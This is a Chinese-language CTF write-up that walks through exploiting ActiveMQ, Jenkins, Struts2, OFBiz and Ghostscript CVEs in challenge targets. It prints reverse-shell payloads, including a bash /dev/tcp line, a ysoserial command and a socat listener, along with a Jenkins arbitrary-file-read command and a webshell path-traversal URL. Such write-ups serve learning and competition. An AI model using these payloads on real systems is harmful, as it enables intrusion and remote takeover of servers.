…
Be-an-ActiveMq-Hacker
用的是这个exp:https://github.com/SaumyajeetDas/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ
根据文档把改好的poc-linux.xml
和用msfvenom
生成的test.elf
部署到vps,同时监听待反弹端口,直接打
Be-a-Security-Researcher
先到网上下载一个jenkins-cli
,poc直接打,读.bash_history
java -jar jenkins-cli.jar -s http://47.96.171.129:8080/ help "@/root/.bash_history"
vision
首先help发现存在date命令,可以使用date -f
读取文件
date -f /flag
Be-More-Elegant
看似很简单的cve,因为题目实现的action带的trick导致,全是细节。
参考文章:
https://y4tacker.github.io/2023/12/09/year/2023/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%88%86%E6%9E%90-S2-066/
题目自己实现了一个upload action,所以要去阅读下源码,文件上传调用的是be.more.elegant.HeaderIconAction
具体怎么跟,文章写得很清楚了。我们只需要弄明白题目上传时是如何处理文件的:
1 | public static final File UPLOAD_DIR = new File(HeaderIconAction.class.getClassLoader().getResource("../../statics/").getFile(), "uploads"); |
会强制把上传的文件放入/statics/uploads/md5/filename
,注意后面这个this.fileUploadFileName
将是我们覆盖的关键,y4师傅说了,这个跟action的实现写法有关,如果不看这里就永远不知道怎么传参才能成功覆盖,其他的技术角度不多说了。默认上传时的name是fileUpload
,符合第一个属性小写第二个属性大写,会直接返回。怎么绕过呢?
这又是一个细节。首先传一次正常的fileUpload
,会得到:
此时再将fileUpload
修改成FileUpload
使其为第一个大写第二个也大写,降低进入map的优先级。同时打poc,用的是fileUploadFileName
进行覆盖,同时注意题目的filter
只允许在/views/
下访问jsp马:
然后访问webshell地址:
http://xxx/statics/uploads/fdc90abd7438fbbdddebced0bc64415e/../../../../views/webshell.jsp
/./readflag
Be-a-Framework-Hacker
应该是CVE-2023-49070,先按照步骤走走看
1 | java -jar ysoserial.jar CommonsBeanutils1 'bash -c {echo,xxx}|{base64,-d}|{bash,-i}' |base64|tr -d "\n" |
然后按照poc去打,果然没成功,抓包可以发现这里用的是HTTP/2,暂时不知道和HTTP/1.1区别是什么
查了一下应该没啥大影响。首先是看
https://github.com/Threekiii/Vulhub-Reproduce/blob/master/Apache%20OfBiz%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%20CVE-2023-49070.md
打CVE-2023-49070,打不动,那就应该是CVE-2023-51467。还是看y4师傅的文章:
https://y4tacker.github.io/2023/12/27/year/2023/12/Apache-OFBiz%E6%9C%AA%E6%8E%88%E6%9D%83%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%B5%85%E6%9E%90-CVE-2023-51467/
继续顺藤摸瓜,可以groovy rce,绕过一个抽象的waf即可。最终打反弹shell的poc
1 | groovyProgram=x%3dnew+String[3]%3bx[0]%3d'bash'%3bx[1]%3d'-c'%3bx[2]%3d'bash+-i+>%2526+/dev/tcp/ip/port+0>%25261%3b'%3bx.execute()%3b |
getflag
Be-an-Interpreter-Hacker
要么是CVE-2023-36664,要么是CVE-2023-28879
这两个看复现演示都是需要在进入GS命令行之前选取evil.eps文件的,而靶机dockerfile初始化这一句很绝
CMD /usr/bin/socat TCP-LISTEN:1337,fork EXEC:'/usr/local/bin/gs -dSAFER'
意思就是一连上去就会处于ghostscript命令行里面,没机会部署恶意eps
继续找,找到个更新的CVE-2023-43115,青藤复现的,是-dSAFER,但是也是指定了ps文件,但没有人家手里的poc,还是不知道怎么打。期待一下wp
29日更新:其实应该是28879,人家的poc演示是-dSAFER,但是应该是因为exp是根据机器环境生成的poc,所以偏移不一样。打本地的docker打不通,打本地装好的gs倒是可以打通
又细读了一遍https://offsec.almond.consulting/ghostscript-cve-2023-28879.html
,感觉是需要通过leakMemory来获取偏移,然后再生成正确的poc,最后执行命令。流下了不会pwn的泪水
兜兜转转,回到CVE-2023-43115,这个poc
1 | %!PS |
本地能打通,连到本地起的docker反而打不通,是真的怪。
经过了反反复复仔仔细细的调试,一共测试了四个通道:
1 | 1.本机gs |
其中,1和3在执行poc的时候是有回显的,2跟4基本一样,无回显。
其次,将echo改换成nc反弹shell的payload,只有1能够执行,这一点,也是为什么打不通的关键。
dockerfile的初始化里有这样一句:
CMD /usr/bin/socat TCP-LISTEN:1337
进入dockershell后,我们可以发现:
bash: nc: command not found
所以最终我们要打socat的反弹shellpoc才行。
vps监听:
1 | socat TCP-LISTEN:8888 - |
此外赛题靶机给的challenge并不能直接拿sha1那个爆破脚本来开启给我们的端口,但也不难写,md5爆破而已
1 | import hashlib |
最后打上payload
1 | %!PS |